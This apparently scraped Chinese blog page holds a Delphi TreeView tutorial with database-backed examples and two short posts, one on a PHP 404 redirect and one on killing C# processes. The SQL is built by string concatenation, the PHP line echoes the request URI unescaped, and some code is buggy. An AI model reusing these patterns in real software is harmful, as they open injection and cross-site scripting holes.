{ Private declarations }
function LoadCode(crTbl:TDBDataSet):Integer;
function GetLevel(sFormat,sCode:String):Integer;

public
{ Public declarations }
end;

var
frmbmzd: Tfrmbmzd;
ii:integer;
tv:ttreenode;
const
SCodeFormat = ’222222′;   //科目代码结构
SFirstNodeTxt   = ‘部门分类’;

implementation

uses dm;
{$R *.DFM}

function tfrmbmzd.LoadCode(crTbl:TDBDataSet):Integer;
var NowID,sName,ShowTxt:String;
i,Level:Integer;
MyNode:array[0..6]of TTreeNode;
//保存各级节点,最长支持6级(重点)
begin
Screen.Cursor:=crHourGlass;
Level:=0;
With frmdm.tabbm do
begin
try
if not Active then Open;
First;
tvwCode.Items.Clear;
//以下是增加第一项
MyNode[Level]:=tvwCode.Items.Add
(tvwCode.TopItem,SFirstNodeTxt);
MyNode[Level].ImageIndex:=0;
MyNode[Level].SelectedIndex:=0;
//以上是增加第一项
While Not Eof do
begin
NowID:=Trim(FieldByName(‘bumeng_id’).AsString);
ShowTxt:=FieldByName(‘bumeng_name’).AsString;
Level:=GetLevel(SCodeFormat,NowID);
//返回代码的级数
//以下是增加子项
//以下用上一级节点为父节点添加子节点
if Level>0 then//确保代码符合标准
begin
MyNode[Level]:=tvwCode.Items.AddChild
(MyNode[Level-1],NowID+’ ‘+ShowTxt);
MyNode[Level].ImageIndex:=1;
MyNode[Level].SelectedIndex:=2;
end;
//以上是增加子项
Next;
end;
finally
Close;
end;
end;
MyNode[0].Expand(False);//将首节点展开
Screen.Cursor:=crDefault;
end;
//以上函数将Code.db表中的科目代码和科目代码名称显示出来

//下面函数的功能是返回一代码的级数,
//参数sFormat传递科目代码结构;
//参数sCode传递某一科目代码
function tfrmbmzd.GetLevel
(sFormat,sCode:String):Integer;
var i,Level,iLen:Integer;
begin
Level:=-1;//如果代码不符合标准,则返回-1
iLen:=0;
if (sFormat<>”)and(sCode<>”)then
for i:=1 to Length(sFormat) do
begin
iLen:=iLen+StrToInt(sFormat[i]);
if Length(sCode)=iLen then
begin
Level:=i;
Break;
end;
end;
Result:=Level;
end;

procedure Tfrmbmzd.FormShow(Sender: TObject);
begin

if not frmdm.tabbm.active then frmdm.tabbm.Open;
frmdm.tabbm.IndexFieldNames:=’BUMENG_ID’;
//按字段aCode排序(不要漏掉)

LoadCode(frmdm.tabbm);

end;

procedure Tfrmbmzd.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action := caFree;
end;

procedure Tfrmbmzd.cmd_newClick(Sender: TObject);
begin
tvwcode.SetFocus ;
if tvwcode.selected.AbsoluteIndex<>0 then
begin
cmd_delete.Enabled:=true;
cmd_update.Enabled:=true;
cmd_save.Enabled :=true;
if not frmdm.tabbm.Active then frmdm.tabbm.Open;

edit1.text:=frmdm.tabbm.Fields[0].asstring;
end;
tvwcode.SetFocus ;
tvwcode.Items.AddChild(tvwcode.selected,’新建部门’);
if   tvwcode.Selected.HasChildren then
begin
if tvwcode.Selected.GetLastChild.index+1>9 then
edit2.text:=inttostr(tvwcode.Selected.GetLastChild.index+1)
else
edit2.text:=’0′+inttostr(tvwcode.Selected.GetLastChild.index+1);
edit3.text:=’新建部门’;
edit2.Enabled:=true;
edit3.Enabled:=true;
end
else
begin
edit2.text:=’01′;
edit3.text:=’新建部门’;
edit2.Enabled:=true;
edit3.Enabled:=true;
end;
if not frmdm.tabbm.Active then frmdm.tabbm.Open;
frmdm.tabbm.edit;
frmdm.tabbm.Append;
cmd_new.Enabled :=false;
cmd_delete.Enabled :=false;
cmd_update.Enabled :=false;
cmd_save.Enabled :=true;
//新建下级部门

tvwcode.Selected.GetLastChild.Selected:=true;
//设选择
tv:=tvwcode.Selected ;
tvwcode.autoExpand:=true;
tvwcode.SetFocus ;
end;

procedure Tfrmbmzd.cmd_deleteClick(Sender: TObject);
var
I:integer;
seno,setext:string;
begin
if tvwcode.Selected.HasChildren=true then
begin
application.messagebox(‘该部门包含下级,不能删除’,'提示’,MB_OKCANCEL+mb_iconquestion ) ;
end
else
begin
if   application.messagebox(‘你确实要删除当前部门吗’,'提示’,MB_OKCANCEL+mb_iconquestion )=IDOK then
begin
setext:=tvwcode.selected.text;
i:=0;
while setext[i] <> ‘ ‘ do
begin
I := I + 1;
seno:=seno+setext[i];
end;
if not frmdm.tabbm.Active then frmdm.tabbm.Open;
frmdm.tabbm.setkey;
frmdm.tabbm.Fields[0].asstring:=seno;
if frmdm.tabbm.GotoKey then
begin
frmdm.tabbm.edit;
frmdm.tabbm.Delete;
end;
tvwcode.Selected.Delete ;
cmd_new.Enabled :=true;
tvwcode.autoExpand:=true;
tvwcode.SetFocus ;
end;
end;

end;

procedure Tfrmbmzd.Edit2KeyPress(Sender: TObject; var Key: Char);
begin
if key  in ['0'..'9',Chr(vk_Back)]   then

else
begin
key:=#0;
application.messagebox(”,”,mb_ok);

end;
end;

procedure Tfrmbmzd.tvwcodeChange(Sender: TObject; Node: TTreeNode);
var
i,lev:integer ;
strr,seno,setext:string;
begin
if cmd_new.Enabled =true then
begin
if tvwcode.selected.AbsoluteIndex<>0   then
begin
cmd_delete.Enabled:=true;
cmd_update.Enabled:=true;
cmd_save.Enabled :=true;
setext:=tvwcode.selected.text;
i:=0;
while setext[i] <> ‘ ‘ do
begin
I := I + 1;
seno:=seno+setext[i];
end;
if not frmdm.tabbm.Active then frmdm.tabbm.Open;
frmdm.tabbm.setkey;
frmdm.tabbm.Fields[0].asstring:=seno;
frmdm.tabbm.GotoKey;
strr:=”;

case tvwcode.Selected.Level of
2: strr:=copy(frmdm.tabbm.fields[0].asstring,1,2);
3: strr:=copy(frmdm.tabbm.fields[0].asstring,1,4);
end;
edit1.text:=strr;
//加上级编码
edit3.text:=frmdm.tabbm.Fields[1].asstring;
//本级编码

edit2.text:=copy(frmdm.tabbm.fields[0].asstring,length(frmdm.tabbm.fields[0].asstring)-1,2);

end
else
begin
edit1.text :=”;
edit2.text :=”;
edit3.text :=’部门分类’;
cmd_delete.Enabled :=false;
cmd_update.Enabled :=false;
end;
end;
end;
procedure Tfrmbmzd.cmd_updateClick(Sender: TObject);
var
i:integer;
begin
for i:=0 to ComponentCount-1  do
begin
if (Components[I]  is tedit ) then
(Components[I]  as tedit).enabled:=false;
end;
for i:=0 to ComponentCount-1  do
begin
if (Components[I]  is tbitbtn ) then
(Components[I]  as tbitbtn).enabled:=true;
end;
if tvwcode.Selected.AbsoluteIndex<>0 then
begin

if not frmdm.tabbm.Active  then frmdm.tabbm.Open;
frmdm.tabbm.Edit;
frmdm.tabbm.Fields[0].asstring:=edit1.text+edit2.text;
frmdm.tabbm.Fields[1].asstring:=edit3.text;
try
frmdm.tabbm.Post;
//表的保存
except
on edbengineerror do
begin
edit2.Enabled :=true;
application.messagebox(‘编号不能重复,请重新输入’,'提示’,MB_OK+mb_iconquestion ) ;
exit;
end;
end;
tvwcode.Selected.Text:=edit1.text+edit2.text+’ ‘+edit3.text;
tvwcode.SetFocus ;
//修改树
end;

cmd_new.Enabled :=true;
edit2.Enabled :=false;
end;

procedure Tfrmbmzd.BitBtn2Click(Sender: TObject);
begin
cmd_new.Enabled :=false;
cmd_delete.Enabled :=false;
edit2.enabled:=true;
edit3.Enabled :=true;

end;

procedure Tfrmbmzd.tvwcodeClick(Sender: TObject);
var
i:integer;
begin
if cmd_new.Enabled =false then
begin
application.MessageBox(‘当前是修改状态,请单击保存按钮’,'提示’,mb_ok);
tv.Selected :=true;
end;
if  tvwcode.selected.AbsoluteIndex=0 then
begin
for i:=0 to ComponentCount-1  do
begin
if (Components[I]  is tedit ) then
(Components[I]  as tedit).enabled:=false;
end;
for i:=0 to ComponentCount-1  do
begin
if (Components[I]  is tbitbtn ) then
(Components[I]  as tbitbtn).enabled:=false;
cmd_new.Enabled :=true;
cmd_exit.Enabled :=true;
end;
end;
end;
end

四、使用概述
树形图(Treeview)是Win95下新增加的通用显示部件(Common Control,在COMCTL32.DLL中)之一,从Delphi2.0开始也增加了相应的控件Treeview,用于取代原Outline控件。由于树形图结构较复杂,使用起来常不知如何下手。这里就使用中的一些问题作些介绍。
Treeview用于显示按照树形结构进行组织的数据,这在实际当中用途还是比较广泛的,如计算机中的文件系统(Windows95中的资源管理器)、企业或公司的组成结构等等。Treeview控件中一个树形图由节点(TreeNode)和连接线组成。TtreeNode是TTreeview的基本组成单元。一个树的节点又包含文本(Text)和数据(Data)。Text为String类,Data则为无定形指针(Untyped Pointer),可以指向一个与节点相联系的数据结构。
每一个节点下子节点形成这一节点的Items属性,当前节点有一个唯一的Index(TreeNode的Index属性),用于说明子节点在Items中的位置,每一个节点下的子节点是顺序编号的,第一个是0,第二个是1,依次类推。用IndexOf方法获得子节点的顺序,绝对顺序(AbsoluteIndex)则是指从Treeview第一个项开始的顺序值,第一个是0,如此推下去。Item属性则根据Index的值返回当前节点的第Index个子节点。Count则表明属于此项的所有子节点的数量。用MoveTo方法将Item由一个位置移到另一个位置。
Expanded属性表明是否所有的子项都全部展开(包括子项的子项),为True表示全部展开。IsVisible属性表明一个项是否在树中能被看到,如果树全部展开那么这个Item是肯定可以被看到。HasChildren属性表明一个项是否有子项。 GetFirstChild, GetLastChild, GetPrevChild, and GetNextChild分别返回当前项子项的第一个、最后一个和前一个、后一个项。GetNextSibling and GetPrevSibling则返回在同一Level下的下一个和上一个项。GetNextVisible and GetPrevVisible则返回能看得到的下一个和上一个项。如果一个节点有Parent,则HasAsParent方法返回True. Parent为当前项的父项。Focused属性确定焦点是否落在此节点上,被Focus时会一个标准的方框围住。很显然,只有一个节点会被聚焦。 Selected属性表明一个节点是否被选中,同样只有一个节点会被选中。DropTarget属性表明节点在拖动操作中是源还是目标。
1.添加、删除、修改节点:
静态的方法可以在设计时通过Items的编辑器设置各节点的内容。
在添加和删除前必须保证有节点被选中(Treeview.Selected = nil)
用AddFirst, AddFirstChild, AddChild等先添加根节点,如Treeview.Items.AddFirst( nil, ‘Root’);
然后以此为基础,添加此项的子节点。

删除节点
Treeview.Selected.Delete
编辑节点内容
Treeview.Selected.EditText
注意:由于根节点没有父节点 (TTreeNode.Parent= nil)
此外,在大批量添加数据到Treeview中时最好使用
TreeView.Items.BeginUpdate;
添加节点
TreeView.Items.EndUpdate
这样能加快显示速度。

2.在节点上添加图象
Treeview中几个与图象相关的属性:
SelectedIndex:当节点被选中时在TimageList 中选什么样的图象
OverlayIndex:选那副图象作为掩图(一幅图象透明地显示在另一幅图象的前面),比如一个节点不可用时加一副X图象在其前面。
ImageIndex:在常态时选用的图的序号
StateIndex: 在StateImages这个ImageList中对应的序号,-1时不显示图象
比较典型的,象在文件管理器中的所显示的一样,Treeview控件在节点之前也可以显示图象。在Form中放置一ImageList控件,加入几个图片,分别被Index为0,1,…在Treeview的Image属性项填入你所加入的ImageList的控件名称。TreeNode的ImageIndex表示节点未被选中时(Selected=nil)的图片序号,SelectedIndex表示节点被选中时图片序号。

3.关于Level
Level的概念可以用下图表示:
Level0   Level1 Level2

4.排序
SortType决定什么时候进行排序;
TreeView.AlphaSort对节点进行排序,如果不能满足要求,你可以定义自己的CustomSort方法。
5.Drag&Drop操作,与标准的拖放操作使用方法一样。

五、一个例子:
首先,在库的构建上要有一定策略以下几个字段非常重要:
‘codeID’      代码集名称 (例如:’AB’)
‘code’        节点代码   (例如:’新疆’节点的代码为’65′,’乌鲁木齐’的节点代码为’6501′等)
‘description’ 节点描述   (例如:如上面的’新疆’、’乌鲁木齐’等)
‘pptr’        父节点代码(例如:’乌鲁木齐’节点的父代码为’65′,最高层节点的父节点代码可同其代码集,例如:’新疆’的父节点为                              ’AB’)
‘cptr’        子节点标识 (例如:该节点是否有下级节点,有则取值’1′,没有则取值’0′)

建立树由两部分构成:

procedure TForm1.FormActivate(Sender: TObject);
var
code_ID,new_sql,node_text,table_name:string;
new_node:Ttreenode;
begin

//要传递的参数
code_ID:=’AB’;
table_name:=’sr_codeitem’;

//********
treeview1.Items.BeginUpdate;

//清空所有项目
treeview1.Items.Clear;
new_sql:=’select * from ‘+ table_name + ‘ where codeID=’+””+code_ID+””
+ ‘ and ‘+’pptr=’+””+code_ID+””;
//数据集中先筛选出所有要增加节点
with dm1.Query1 do
begin
close;
sql.Clear;
sql.Add(new_sql);
open;
//增加第一层节点
while not eof do
begin
node_text:=fieldbyname(‘code’).asstring;
node_text:=node_text+’   ’+fieldbyname(‘description’).asstring;
new_node:=treeview1.Items.add(nil,node_text);
new_node.HasChildren:=true;
next;
end;//end while
end;//end with

treeview1.Items.EndUpdate;
end;

procedure TForm1.TreeView1Expanding(Sender: TObject; Node: TTreeNode;
var AllowExpansion: Boolean);
var
new_sql,node_text,child_text,code_ID,table_ID:string;
child_node:Ttreenode;
begin
//获取参数
code_ID:=’AB’;
table_ID:=’sr_codeitem’;

treeview1.Items.BeginUpdate;
node_text:=node.Text;
//截取所点击节点的code
node_text:=copy(node_text,1,pos(‘ ‘,node_text)-1);
with dm1.Query1 do
begin
close;
sql.Clear;
new_sql:=’select * from ‘+table_ID+’ where pptr=’+””+node_text+”” + ‘ and codeID=’
+””+code_ID+””;
sql.Add(new_sql);
open;//定位所点的项
//清除原来的下级节点
node.DeleteChildren;
while not eof do
begin//增加下级节点
child_text:=fieldbyname(‘code’).asstring+’   ’+fieldbyname(‘description’).asstring;
child_node:=treeview1.Items.AddChild(node,child_text);
if fieldbyname(‘cptr’).asstring=’1′ then
child_node.HasChildren:=true;
next;
end;//end while

end;//end with
treeview1.Items.EndUpdate;
end;
第二部分:在 treeview 的onExpanding 事件中添加如下代码
procedure TForm1.TreeView1Expanding(Sender: TObject; Node: TTreeNode;
var AllowExpansion: Boolean);
var
new_sql,node_text,child_text,code_ID,table_ID:string;
child_node:Ttreenode;
begin
//获取参数
code_ID:=’AB’;
table_ID:=’sr_codeitem’;

treeview1.Items.BeginUpdate;
node_text:=node.Text;
//截取所点击节点的code
node_text:=copy(node_text,1,pos(‘ ‘,node_text)-1);
with dm1.Query1 do
begin
close;
sql.Clear;
new_sql:=’select * from ‘+table_ID+’ where pptr=’+””+node_text+”” + ‘ and codeID=’
+””+code_ID+””;
sql.Add(new_sql);
open;//定位所点的项
//清除原来的下级节点
node.DeleteChildren;
while not eof do
begin//增加下级节点
child_text:=fieldbyname(‘code’).asstring+’   ’+fieldbyname(‘description’).asstring;
child_node:=treeview1.Items.AddChild(node,child_text);
if fieldbyname(‘cptr’).asstring=’1′ then
child_node.HasChildren:=true;
next;
end;//end while

end;//end with
treeview1.Items.EndUpdate;
end;

六、让我们一个一个来回答:
第一个:取出节点的text属性值,赋给Richedit的Lines.text即可;
例如: self.RichEdit1.Lines.text:= self.Treeview1.selected.text;
第二个:TtreeView控件有函数保存和载入树的结构到文件
例如:self.Treeview1.SaveToFile(‘文件名’);//保存结构
self.TreeView1.LoadFromFile(‘文件名’);//载入结构
第三个:TreeView的每个节点都有ItemID(句柄),AbsoluteIndex(相对于树头节点的索引位置),
Index(在当前层的位置),Level(本节点的层数)通过访问这些可以知道其位置;
例如:self.TtreeView1.selected.ItemID;//返回句柄
self.TreeView1.selected.Level;//返回层数
self.TreeView1.Items.count//返回所有节点的个数;
**寻找某一个节点的话,就只有写一个循环来遍历整个树,直到找到符合条件的节点为止,
关于查找节点的代码我也在想,先参考上面同志们的回答吧;

??**为某个节点加上子节点,例如:
var NewNode:TTreeNode;
begin
NewNode:=self.Treeview1.Items.addChild(self.Treeview1.Items[3],’新的字节点’);
//为self.Treeview1.Items[3]加上一个字节点,标签是’新的字节点’,
//还有其他的ADD方法,可以查找Delphi帮助
//然后可以给刚加上去的子节点赋值;
NewNode.ImageIndex:=n;
NewNode.SelectedIndex:=M;
NewNode.Data:=X;//注意X是一个指针类型;关于这方面的帮助
//可以找一下TTreeNode.Data 属性例子
end;
??**想选中某个节点:self.TreeView1.Items[n].selected:=true;//这样就选中了
??**展开某节点就容易了:self.TreeView1.Items[n].Expand;//展开啦!
//想合上就用Collapse(Recurse: Boolean)函数,
总之呢,去查一下TtreeNode的帮助吧!
??**清除某节点下的所有子节点,用DeleteChildren是没错的,例如:
self.Treeview1.Items[n].DeleteChildren;//OK,下面都没了!

七、query1.close;
query1.sql.clear;
query1.sql.add(‘select * from t08 order by t0801′);
try
query1.open;
except
on e:exception do
begin
application.MessageBox(pchar(‘打开数据库文件失败!’+#13+#13+e.Message),’错误信息’,16);
close;
exit;
end;
end;
//创建结构树
while not query1.eof do
begin
s:=trim(query1.fields[0].asstring);
case length(s) of
2:begin
tv1.Selected:=tv1.items.add(nil,trim(query1.fields[1].asstring));
tv2.Selected:=tv2.items.add(nil,trim(query1.fields[0].asstring));
end;
4:begin
p1:=tv1.items.addchild(tv1.Selected,trim(query1.fields[1].asstring));
p2:=tv2.items.addchild(tv2.Selected,trim(query1.fields[0].asstring));
end;
6:begin
tv1.Items.addchild(p1,trim(query1.fields[1].asstring));
tv2.Items.addchild(p2,trim(query1.fields[0].asstring));
end;
end;
query1.next;
end;
query1.close;
if tv1.Items.Count>0 then
begin
tv1.Selected:=tv1.Items[0];
tv1.Selected.Expand(true);
end;
tv1.OnClick(self);
八、clear速度慢的问题
问题的关键在于Clear方法会一个一个地删除每个Node,
于是TreeView不断刷新,所以速度就….
代码修正一下:
with MyTreeView.Items do
<B>try</B>
BeginUpdate;
Clear;
<B>finally</B>
EndUpdate;
<B>end;</B>

另外
1、你现在遇到的问题是大量删除,
如果是大量插入,也应该同样处理
2、ListView有同样问题,注意
其他Windows控件也有,但不很明显
比如Memo、RichEdit等等
总之,凡大量数据修改的情况下,
应该注意BeginUpdate和EndUpdate
3、<B>BeginUpdate和EndUpdate应该一一对应</B>,
因为Delphi实际上是用<B>计数器</B>来处理的,
如果忘了EndUpdate,
或者BeginUpdate比EndUpdate次数多,
可能导致控件不刷新了

九、用treeview做权限管理
http://www.delphibbs.com/delphibbs/dispq.asp?lid=2242766

终于成功独立了

忙活了这几天,咱blog终于又独立了,千挑万选的选中了bloghost的wp专业空间,很不错,速度很快

因为修改了固定链接,搜索引擎以前收录的地址无法打开了,折腾了半天,把404页面加了一句

print(“<meta http-equiv=’refresh’ content = ’0;URL =  http://heku.cn<?=str_replace(“.html”,”",str_replace(“/heku/”,”/”,$_SERVER["REQUEST_URI"]))?>’>”);

过滤掉原来地址中的/heku/目录和.html后缀,然后跳转到过滤后的地址,这样先凑和着用吧,等过段时间重新收录了再改回来.

C#中获取进程,C#强制结束进程

  • // 获取系统内所有进程
  • System.Diagnostics.Process[] currentprocess = System.Diagnostics.Process.GetProcesses();
  • foreach (System.Diagnostics.Process p in currentprocess)
  • {
  • System.Console.WriteLine(p.ToString());
  • }
  • // 结束进程
  • System.Diagnostics.Process[] killprocess = System.Diagnostics.Process.GetProcessesByName(“calc”);
  • foreach (System.Diagnostics.Process p in killprocess)
  • {
  • p.Kill();
  • }
  • 原创粉丝点击